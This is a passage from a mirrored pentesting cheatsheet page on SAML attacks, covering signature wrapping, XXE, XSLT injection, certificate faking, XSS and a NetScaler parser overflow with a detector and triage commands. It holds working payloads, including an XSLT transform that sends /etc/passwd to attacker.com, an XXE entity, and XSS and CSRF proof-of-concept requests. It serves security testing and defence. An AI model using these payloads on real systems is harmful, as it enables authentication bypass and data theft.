daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

overview.md (35612B)


      1 ---
      2 title: "SAML Attacks"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/saml-attacks/README.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/saml-attacks/README.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: true
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # SAML Attacks
     14 
     15 ## Basic Information
     16 
     17 The first part of the referenced SAML testing methodology covers request collection, decoding, and baseline validation checks that should precede the attacks on this page.<sup>[[14]](#references)</sup>
     18 
     19 
     20 [Saml Basics](/hacktricks/pentesting-web/saml-attacks/saml-basics)
     21 
     22 ## Tool
     23 
     24 [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) accepts a URL or URL list and reports discovered SAML consumer endpoints.
     25 
     26 ## XML round-trip
     27 
     28 An XML implementation may parse or serialize a document before checking the in-memory signed structure. Ideally this round trip preserves the data, but parser differentials can make **the data validated by the signature differ from the data later processed by the application**.
     29 
     30 For example, check the following code:
     31 
     32 ```ruby
     33 require 'rexml/document'
     34 
     35 doc = REXML::Document.new <<XML
     36 <!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
     37 <X>
     38   <Y/><![CDATA[--><X><Z/><!--]]]>
     39 </X>
     40 XML
     41 
     42 puts "First child in original doc: " + doc.root.elements[1].name
     43 doc = REXML::Document.new doc.to_s
     44 puts "First child after round-trip: " + doc.root.elements[1].name
     45 ```
     46 
     47 Running the program against REXML 3.2.4 or earlier would result in the following output instead:
     48 
     49 ```text
     50 First child in original doc: Y
     51 First child after round-trip: Z
     52 ```
     53 
     54 This is how REXML saw the original XML document from the program above:
     55 
     56 ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281001%29.png)<sup>[[1]](#references)</sup>
     57 
     58 And this is how it saw it after a round of parsing and serialization:
     59 
     60 ![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28445%29.png)<sup>[[1]](#references)</sup>
     61 
     62 For more information about the vulnerability and how to abuse it:<sup>[[1]](#references)</sup><sup>[[2]](#references)</sup>
     63 
     64 - [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)<sup>[[1]](#references)</sup>
     65 - [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)<sup>[[2]](#references)</sup>
     66 
     67 ## XML Signature Wrapping Attacks
     68 
     69 In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
     70 
     71 The following attacks are based on [**this methodology**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) and [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Consult them for further details.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>
     72 
     73 ### XSW #1
     74 
     75 - **Strategy**: A new root element containing the signature is added.
     76 - **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues.
     77 
     78 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28506%29.png)
     79 
     80 ### XSW #2
     81 
     82 - **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature.
     83 - **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check.
     84 
     85 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28466%29.png)
     86 
     87 ### XSW #3
     88 
     89 - **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion.
     90 - **Implication**: Intends to confuse the business logic into using the malicious data.
     91 
     92 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28120%29.png)
     93 
     94 ### XSW #4
     95 
     96 - **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion.
     97 - **Implication**: Similar to XSW #3 but alters the XML structure more aggressively.
     98 
     99 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28551%29.png)
    100 
    101 ### XSW #5
    102 
    103 - **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
    104 - **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure.
    105 
    106 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%281030%29.png)
    107 
    108 ### XSW #6
    109 
    110 - **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist.
    111 - **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
    112 
    113 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28169%29.png)
    114 
    115 ### XSW #7
    116 
    117 - **Strategy**: An Extensions element is inserted with the copied Assertion as a child.
    118 - **Implication**: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.
    119 
    120 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28971%29.png)
    121 
    122 ### XSW #8
    123 
    124 - **Difference from XSW #7**: Utilizes another less restrictive XML element for a variant of the attack.
    125 - **Implication**: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.
    126 
    127 ![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28541%29.png)
    128 
    129 ### XML Signature Wrapping Tool
    130 
    131 You can use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to parse the request, apply any XSW attack you choose, and launch it.
    132 
    133 ## Ruby-SAML signature verification bypass (CVE-2024-45409)
    134 
    135 **Impact**: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain **any IdP-signed SAMLResponse** can **forge a new assertion** and authenticate as arbitrary users.<sup>[[5]](#references)</sup>
    136 
    137 **High-level workflow** (signature-wrapping style bypass):<sup>[[6]](#references)</sup>
    138 
    139 1. Capture a **legitimate SAMLResponse** in the SSO POST (Burp or browser devtools). You only need any IdP-signed response for the target SP.
    140 2. Decode the transport encoding to raw XML (typical order): **URL decode → Base64 decode → raw inflate**.
    141 3. Use a PoC (for example, the Synacktiv script) to **patch IDs/NameID/conditions** and **rewrite signature references/digests** so validation still passes while the SP consumes attacker-controlled assertion fields.<sup>[[7]](#references)</sup>
    142 4. Re-encode the patched XML (**raw deflate → Base64 → URL encode**) and replay it to the SAML callback endpoint. If successful, the SP logs you in as the chosen user.
    143 
    144 Example using the Synacktiv PoC (input is the captured SAMLResponse blob):
    145 
    146 ```bash
    147 python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64
    148 ```
    149 
    150 ## XXE
    151 
    152 If you don't know which kind of attacks are XXE, please read the following page:
    153 
    154 
    155 [Xxe Xee Xml External Entity](/hacktricks/pentesting-web/xxe-xee-xml-external-entity)
    156 
    157 SAML Responses are **deflated and base64 encoded XML documents** and can be susceptible to XML External Entity (XXE) attacks. By manipulating the XML structure of the SAML Response, attackers can attempt to exploit XXE vulnerabilities. Here’s how such an attack can be visualized:
    158 
    159 ```xml
    160 <?xml version="1.0" encoding="UTF-8"?>
    161  <!DOCTYPE foo [
    162    <!ELEMENT foo ANY >
    163    <!ENTITY    file SYSTEM "file:///etc/passwd">
    164    <!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
    165   <samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
    166   <saml:Issuer>...</saml:Issuer>
    167   <ds:Signature ...>
    168     <ds:SignedInfo>
    169       <ds:CanonicalizationMethod .../>
    170       <ds:SignatureMethod .../>
    171       <ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
    172     </ds:SignedInfo>
    173     <ds:SignatureValue>...</ds:SignatureValue>
    174 [...]
    175 ```
    176 
    177 ## Tools
    178 
    179 You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XXE vulnerabilities and SAML vulnerabilities.
    180 
    181 Check also this talk: [https://www.youtube.com/watch?v=WHn-6xHL7mI](https://www.youtube.com/watch?v=WHn-6xHL7mI)<sup>[[15]](#references)</sup>
    182 
    183 ## XSLT via SAML
    184 
    185 For more information about XSLT go to:
    186 
    187 
    188 [Xslt Server Side Injection Extensible Stylesheet Language Transformations](/hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations)
    189 
    190 Extensible Stylesheet Language Transformations (XSLT) can be used for transforming XML documents into various formats like HTML, JSON, or PDF. It's crucial to note that **XSLT transformations are performed before the verification of the digital signature**. This means that an attack can be successful even without a valid signature; a self-signed or invalid signature is sufficient to proceed.
    191 
    192 Here you can find a **POC** to check for this kind of vulnerabilities, in the hacktricks page mentioned at the beginning of this section you can find for payloads.
    193 
    194 ```xml
    195 <ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
    196   ...
    197     <ds:Transforms>
    198       <ds:Transform>
    199         <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
    200           <xsl:template match="doc">
    201             <xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
    202             <xsl:variable name="escaped" select="encode-for-uri($file)"/>
    203             <xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
    204             <xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
    205             <xsl:value-of select="unparsed-text($exploitUrl)"/>
    206           </xsl:template>
    207         </xsl:stylesheet>
    208       </ds:Transform>
    209     </ds:Transforms>
    210   ...
    211 </ds:Signature>
    212 ```
    213 
    214 ### XSLT Testing Tool
    215 
    216 You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) to generate the POC from a SAML request to test for possible XSLT vulnerabilities.
    217 
    218 The talk linked in the Tools section also demonstrates XSLT-oriented SAML testing.
    219 
    220 ## XML Signature Exclusion <a href="#xml-signature-exclusion" id="xml-signature-exclusion"></a>
    221 
    222 **XML Signature Exclusion** tests how a SAML implementation behaves when the `Signature` element is absent. A vulnerable service may skip signature validation and accept altered assertion content.<sup>[[8]](#references)</sup>
    223 
    224 ![https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg](https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%28457%29.png)
    225 
    226 ### XML Signature Exclusion Tool <a href="#xml-signature-exclusion-how-to" id="xml-signature-exclusion-how-to"></a>
    227 
    228 You can also use the Burp extension [**SAML Raider**](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e). Intercept the SAML Response and click `Remove Signatures`. In doing so **all** Signature elements are removed.
    229 
    230 With the signatures removed, forward the request. If the Service Provider accepts it, signature enforcement is missing or fail-open.
    231 
    232 ## Fail-open SAML verification in unconfigured SSO handlers
    233 
    234 Some products keep the **SAML authentication endpoint reachable even when SSO was never configured**. If a constructor or config-loading error leaves security fields at language defaults such as `""` or `false`, the unconfigured path can become **less secure** than the configured one.<sup>[[13]](#references)</sup>
    235 
    236 ### What to test
    237 
    238 - Reach the SAML ACS / login handler while SSO is **disabled**, **never configured**, or after deleting its config. The handler should fail closed before parsing attacker-controlled XML.
    239 - Check whether missing configuration skips initialization of fields such as the **signature verification mode**, **trusted issuer**, **audience**, **certificate path**, or **local-user policy**, while request processing still continues.
    240 - Look for **fail-open mode checks** such as `if mode in {response, assertion, both} verify_signature(...)` with **no rejecting `else`**. An empty / malformed mode can silently disable both response- and assertion-signature verification.
    241 - Compare **presence checks** with **normalized comparisons**. A whitespace-only `<Issuer>` can satisfy `issuer != null`, then be trimmed to `""` and match an empty configured issuer.
    242 - If time validation only runs when `<Conditions>` exists, try **omitting `Conditions` entirely** instead of forging timestamps.
    243 
    244 ### Exploitation notes
    245 
    246 Once verification is bypassed, a **schema-valid but unsigned** `SAMLResponse` containing `Status=Success`, at least one `Assertion`, and an attacker-chosen `NameID` may be enough to authenticate as an arbitrary existing federated user.<sup>[[13]](#references)</sup>
    247 
    248 Practical details to check:
    249 
    250 - Some implementations accept the **first assertion** that passes local checks and ignore the rest.
    251 - If local usernames are blocked but values containing `\` or `@` are allowed, target an existing **directory identity** such as `DOMAIN\Administrator` or `user@domain`.
    252 - The forged value still needs to survive **account-resolution / canonical-name** checks performed after SAML parsing.
    253 
    254 A recent example of this pattern is the Synology DS925+ SAML SSO bypass documented by Chanze Lee.
    255 
    256 ## Certificate Faking <a href="#certificate-faking" id="certificate-faking"></a>
    257 
    258 Certificate faking tests whether a **Service Provider (SP) verifies that a SAML message is signed** by a trusted Identity Provider (IdP). Sign the SAML Response or Assertion with a **self-signed certificate** to determine whether the SP validates the certificate trust relationship.<sup>[[8]](#references)</sup>
    259 
    260 ### How to Conduct Certificate Faking
    261 
    262 The following steps outline the process using the [SAML Raider](https://portswigger.net/bappstore/c61cfa893bb14db4b01775554f7b802e) Burp extension:
    263 
    264 1. Intercept the SAML Response.
    265 2. If the response contains a signature, send the certificate to SAML Raider Certs using the `Send Certificate to SAML Raider Certs` button.
    266 3. In the SAML Raider Certificates tab, select the imported certificate and click `Save and Self-Sign` to create a self-signed clone of the original certificate.
    267 4. Go back to the intercepted request in Burp’s Proxy. Select the new self-signed certificate from the XML Signature dropdown.
    268 5. Remove any existing signatures with the `Remove Signatures` button.
    269 6. Sign the message or assertion with the new certificate using the **`(Re-)Sign Message`** or **`(Re-)Sign Assertion`** button, as appropriate.
    270 7. Forward the signed message. Successful authentication indicates that the SP accepts messages signed by your self-signed certificate, revealing potential vulnerabilities in the validation process of the SAML messages.
    271 
    272 ## Token Recipient Confusion / Service Provider Target Confusion <a href="#token-recipient-confusion" id="token-recipient-confusion"></a>
    273 
    274 Token Recipient Confusion and Service Provider Target Confusion involve checking whether the **Service Provider correctly validates the intended recipient of a response**. In essence, a Service Provider should reject an authentication response if it was meant for a different provider. The critical element here is the **Recipient** field, found within the **SubjectConfirmationData** element of a SAML Response. This field specifies a URL indicating where the Assertion must be sent. If the actual recipient does not match the intended Service Provider, the Assertion should be deemed invalid.<sup>[[8]](#references)</sup>
    275 
    276 #### **How It Works**
    277 
    278 For a SAML Token Recipient Confusion (SAML-TRC) attack to be feasible, certain conditions must be met. Firstly, there must be a valid account on a Service Provider (referred to as SP-Legit). Secondly, the targeted Service Provider (SP-Target) must accept tokens from the same Identity Provider that serves SP-Legit.
    279 
    280 The attack process is straightforward under these conditions. An authentic session is initiated with SP-Legit via the shared Identity Provider. The SAML Response from the Identity Provider to SP-Legit is intercepted. This intercepted SAML Response, originally intended for SP-Legit, is then redirected to SP-Target. Success in this attack is measured by SP-Target accepting the Assertion, granting access to resources under the same account name used for SP-Legit.
    281 
    282 ```python
    283 # Example to simulate interception and redirection of SAML Response
    284 def intercept_and_redirect_saml_response(saml_response, sp_target_url):
    285     """
    286     Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.
    287 
    288     Args:
    289     - saml_response: The SAML Response intercepted (in string format).
    290     - sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.
    291 
    292     Returns:
    293     - status: Success or failure message.
    294     """
    295     # This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
    296     try:
    297         # Code to send the SAML Response to SP-Target would go here
    298         return "SAML Response successfully redirected to SP-Target."
    299     except Exception as e:
    300         return f"Failed to redirect SAML Response: {e}"
    301 ```
    302 
    303 ## XSS in Logout functionality
    304 
    305 The original research can be accessed through [this link](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/).<sup>[[9]](#references)</sup>
    306 
    307 During the process of directory brute forcing, a logout page was discovered at:
    308 
    309 ```text
    310 https://carbon-prototype.uberinternal.com:443/oidauth/logout
    311 ```
    312 
    313 Upon accessing this link, a redirection occurred to:
    314 
    315 ```text
    316 https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1
    317 ```
    318 
    319 This revealed that the `base` parameter accepts a URL. Considering this, the idea emerged to substitute the URL with `javascript:alert(123);` in an attempt to initiate an XSS (Cross-Site Scripting) attack.
    320 
    321 ### Mass Exploitation
    322 
    323 [From this research](https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/):<sup>[[9]](#references)</sup>
    324 
    325 The [**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor) tool was used to analyze subdomains of `uberinternal.com` for domains utilizing the same library. Subsequently, a script was developed to target the `oidauth/prompt` page. This script tests for XSS (Cross-Site Scripting) by inputting data and checking if it's reflected in the output. In cases where the input is indeed reflected, the script flags the page as vulnerable.
    326 
    327 ```python
    328 import requests
    329 import urllib3
    330 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    331 from colorama import init ,Fore, Back, Style
    332 init()
    333 
    334 with open("/home/fady/uberSAMLOIDAUTH") as urlList:
    335             for url in urlList:
    336                 url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
    337                 request = requests.get(url2, allow_redirects=True,verify=False)
    338                 doesit = Fore.RED + "no"
    339                 if ("Fady" in request.content):
    340                     doesit = Fore.GREEN + "yes"
    341                 print(Fore.WHITE + url2)
    342                 print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)
    343 ```
    344 
    345 ## RelayState-based header/body injection to rXSS
    346 
    347 Some SAML SSO endpoints decode `RelayState` and then reflect it into the response without sanitization. If you can inject newlines and override the response `Content-Type`, you can force the browser to render attacker-controlled HTML, achieving reflected XSS.<sup>[[10]](#references)</sup>
    348 
    349 - Idea: abuse response-splitting via newline injection in the reflected RelayState. See also the generic notes in [CRLF injection](/hacktricks/pentesting-web/crlf-0d-0a).
    350 - Works even when RelayState is base64-decoded server-side: supply a base64 that decodes to header/body injection.
    351 
    352 Generalized steps:
    353 
    354 1. Build a header/body injection sequence starting with a newline, overwrite content type to HTML, then inject HTML/JS payload:
    355    
    356    Concept:
    357    
    358    ```text
    359    \n
    360    Content-Type: text/html
    361    
    362    
    363    <svg/onload=alert(1)>
    364    ```
    365 2. URL-encode the sequence (example):
    366    
    367    ```text
    368    %0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
    369    ```
    370 3. Base64-encode that URL-encoded string and place it in `RelayState`.
    371    
    372    Example base64 (from the sequence above):
    373    
    374    ```text
    375    DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
    376    ```
    377 4. Send a POST with a syntactically valid `SAMLResponse` and the crafted `RelayState` to the SSO endpoint (e.g., `/cgi/logout`).
    378 5. Deliver via CSRF: host a page that auto-submits a cross-origin POST to the target origin including both fields.
    379 
    380 PoC against a NetScaler SSO endpoint (`/cgi/logout`):
    381 
    382 ```http
    383 POST /cgi/logout HTTP/1.1
    384 Host: target
    385 Content-Type: application/x-www-form-urlencoded
    386 
    387 SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
    388 ```
    389 
    390 CSRF delivery pattern:
    391 
    392 ```html
    393 <form action="https://target/cgi/logout" method="POST" id="p">
    394   <input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
    395   <input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
    396 </form>
    397 <script>document.getElementById('p').submit()</script>
    398 ```
    399 
    400 Why it works: the server decodes `RelayState` and incorporates it into the response in a way that permits newline injection, letting the attacker influence headers and body. Forcing `Content-Type: text/html` causes the browser to render the attacker-controlled HTML from the response body.
    401 
    402 ## Pre-verification XML-signature preprocessing and length oracles
    403 
    404 Do not assume that an invalid signature keeps attacker-controlled XML away from dangerous code. XML signatures require the referenced content to be **canonicalized before cryptographic verification**, so fields under `ds:SignedInfo` are parsed while still untrusted. In NetScaler's CVE-2026-8452, the exclusive-canonicalization field `ds:CanonicalizationMethod / ec:InclusiveNamespaces @ PrefixList` was copied into a fixed-size buffer without a sufficient bounds check. The resulting heap overwrite contained attacker-selected bytes; exploit addresses and heap layout remained firmware-specific, but an exploit for one build could still corrupt and crash another build.<sup>[[16]](#references)[[17]](#references)</sup>
    405 
    406 On NetScaler, reachability is **per Gateway/AAA virtual server and policy binding**, not simply per appliance. The relevant inbound surfaces are:<sup>[[17]](#references)</sup>
    407 
    408 - IdP role: signed `AuthnRequest` or `LogoutRequest` messages at `/saml/login` (`samlIdPProfile`).
    409 - SP role: a `SAMLResponse` assertion signature at `/cgi/samlauth` (`samlAction`).
    410 
    411 The signature only needs the expected structure; it does not need to be valid. A configured endpoint can still reject the request before canonicalization because no policy matches, an nFactor chain chooses another flow, or strict signature rules run first. Therefore, an endpoint response alone does not prove that the vulnerable parser was reached.<sup>[[17]](#references)</sup>
    412 
    413 ### Non-destructive patch check with a control request
    414 
    415 The [Bishop Fox detector](https://github.com/BishopFox/CVE-2026-8452-check) turns the patch's exact `PrefixList` limit into a behavioral oracle. It sends one fixed **575-byte** probe, which is above the fixed build's 512-byte maximum but below the observed corruption range, and then a **35-byte control** through the same route.<sup>[[17]](#references)[[18]](#references)</sup>
    416 
    417 | Request result | Interpretation |
    418 | --- | --- |
    419 | 575 bytes: `500 Internal Server Error 43549`; 35 bytes: a different response | Size check absent on the reached path (`VULNERABLE`) |
    420 | 575 bytes: `200 Malformed Assertion sent to Netscaler`; 35 bytes: a different response | Size check reached and present (`PATCHED`) |
    421 | Both lengths return the same response | Rejected before the size discriminator (`INCONCLUSIVE`, not patched) |
    422 
    423 The tool tries a structurally signed `AuthnRequest` at `/saml/login` first, then falls back to a `SAMLResponse` at `/cgi/samlauth`. The IdP request must contain a `Signature` block because an unsigned request produces the patched-looking malformed-assertion response on both vulnerable and fixed builds. Requiring the short control to behave differently also prevents false `PATCHED` results from settings such as `samlRejectUnsignedAssertion STRICT`.<sup>[[17]](#references)[[18]](#references)</sup>
    424 
    425 ```bash
    426 # Test each Gateway/AAA VIP, not the management interface
    427 ./cve_2026_8452_check.py https://gateway.example.com:9443
    428 ./cve_2026_8452_check.py -f targets.txt --brief
    429 ./cve_2026_8452_check.py -f targets.txt --json > results.json
    430 ```
    431 
    432 > Do not change the detector's `PROBE_PREFIXES` or perform a length sweep. The fixed lengths were selected and validated to avoid the corruption range; other lengths can destabilize an appliance, and shorter is not necessarily safer.<sup>[[17]](#references)[[18]](#references)</sup>
    433 
    434 `PATCHED` only confirms that this particular size check executed. `UNAFFECTED` is also per VIP, while `INCONCLUSIVE` means the patch state is unknown. Confirm ambiguous results and the installed build locally with `show ns version`.<sup>[[17]](#references)[[18]](#references)</sup>
    435 
    436 ### Scope and incident triage
    437 
    438 Inventory SAML objects and their actual bindings before testing every active and standby VIP. A globally present `/saml/login` endpoint may still stop at `Matching policy not found` on one VIP while another VIP reaches the parser.<sup>[[17]](#references)</sup>
    439 
    440 ```bash
    441 show authentication vserver
    442 show vpn vserver
    443 show authentication samlAction
    444 show authentication samlIdPProfile
    445 show ns runningConfig | grep -i saml
    446 show ns version
    447 ```
    448 
    449 For post-exploitation triage, correlate durable artifacts with packet-engine failures rather than treating a restart as the verdict. The public exploitation chain wrote `/var/vpn/theme/x.php`; Bishop Fox also observed `nsppe` signal 10/11 entries, `pitboss` restart messages, and attacker-controlled `PrefixList` markers retained in `NSPPE-*` cores.<sup>[[16]](#references)[[17]](#references)</sup>
    450 
    451 ```bash
    452 find /var/core -name 'NSPPE-*'
    453 grep -Ei 'nsppe:.*signal (10|11)|pitboss.*unexpectedly died' /var/log/ns.log
    454 zgrep -Ei 'nsppe:.*signal (10|11)|pitboss.*unexpectedly died' /var/log/ns.log*.gz
    455 find /var/vpn/theme -type f
    456 ```
    457 
    458 Search every boot-specific directory under `/var/core`, not only `/var/core/1`. A failed exploit may restart only `nsppe` without rebooting the OS, so uptime or a brief network interruption cannot distinguish failure from successful code execution; persistent unexpected files provide stronger evidence.<sup>[[17]](#references)</sup>
    459 
    460 ## Unterminated / unquoted SAML attribute overread (IdP parser bugs)
    461 
    462 Some SAML IdP implementations use **custom XML parsers** for `AuthnRequest` attributes and try to recover from malformed XML instead of rejecting it. A recurring bug class is that **quoted** attribute values stop correctly, but the **error-recovery path for unquoted values** only stops on a literal space, `>` or `NUL`. That lets attackers make the parser **over-consume later XML** and, in the worst case, **read past the request buffer**.<sup>[[11]](#references)</sup><sup>[[12]](#references)</sup>
    463 
    464 This is especially interesting when the parsed fields are later **reflected** into:
    465 
    466 - cookies
    467 - logs
    468 - redirect parameters
    469 - debugging/error responses
    470 
    471 ### Quick detection idea
    472 
    473 Send a base64-encoded `SAMLRequest` to the IdP endpoint and replace the separator after an unquoted attribute with a newline or tab. Then put another attribute or tag immediately after it.
    474 
    475 ```xml
    476 <samlp:AuthnRequest Version="2.0" AssertionConsumerServiceURL=11
    477 ID=22>
    478 <saml:Issuer>test</saml:Issuer>
    479 </samlp:AuthnRequest>
    480 ```
    481 
    482 If the target behaves as if `AssertionConsumerServiceURL` were `11 ID=22` instead of only `11`, the parser is **not treating XML whitespace consistently** in its recovery path.
    483 
    484 ### Escalating from parser confusion to overread
    485 
    486 Useful heuristics when fuzzing SAML IdP parsers:
    487 
    488 - Keep the **high-level SAML requirements** valid somewhere in the document (for example `AuthnRequest`, closing tag, valid `Issuer`).
    489 - Corrupt the **low-level parser state** with an **unterminated opening tag** or an **unterminated attribute**.
    490 - Move required elements into **weird but still accepted locations** to satisfy semantic checks while the attribute scanner keeps reading.
    491 - Try payloads where the final attribute is left unterminated at the end of the request:
    492 
    493 ```xml
    494 <samlp:AuthnRequest
    495 <saml:Issuer>test</saml:Issuer>
    496 </samlp:AuthnRequest>
    497 Version="2.0"
    498 ID="11"
    499 AssertionConsumerServiceURL=
    500 ```
    501 
    502 If the parser later serializes that field into a cookie or redirect, decode the reflected value and check whether it contains bytes that were **not present in your request**.
    503 
    504 ### Reflected sink hunting
    505 
    506 For NetScaler SAML IdP parsing, the useful sink was the `NSC_TASS` cookie returned after a `POST` to `/saml/login` (typically inside a `302` response). Generalize this idea to any SAML appliance or middleware that stores parsed request fields server-side and then reflects them client-side.
    507 
    508 A practical workflow is:
    509 
    510 1. Send a base64-encoded `SAMLRequest` to the IdP endpoint.
    511 2. Capture the response without following redirects.
    512 3. Extract and base64-decode the reflected cookie / parameter.
    513 4. Inspect the parsed field (`ACSURL`, `ID`, etc.) for data that was never in your original request.
    514 
    515 ```bash
    516 python3 - <<'PY'
    517 import base64
    518 print(base64.b64decode('NSC_TASS_VALUE_HERE'))
    519 PY
    520 ```
    521 
    522 If the leaked field contains:
    523 
    524 - fragments of later XML tags
    525 - stale heap/stack marker bytes
    526 - partial pointers
    527 - binary data that changes with request length
    528 
    529 then you likely have a **real memory disclosure primitive**, not just malformed-XML confusion.
    530 
    531 ### Request-length shaping
    532 
    533 These bugs often stop leaking at `NUL`, `>` or other control characters, so the leak may be short. Still, **varying the request length** can change which adjacent bytes are reached and turn a tiny overread into a useful **infoleak primitive** for pointer recovery / ASLR bypass preparation. In practice, small changes such as adding padding spaces inside the malformed `AuthnRequest` can move the leaked bytes to a more useful heap position.
    534 
    535 ### DoS variant
    536 
    537 Also try **incomplete attributes** such as:
    538 
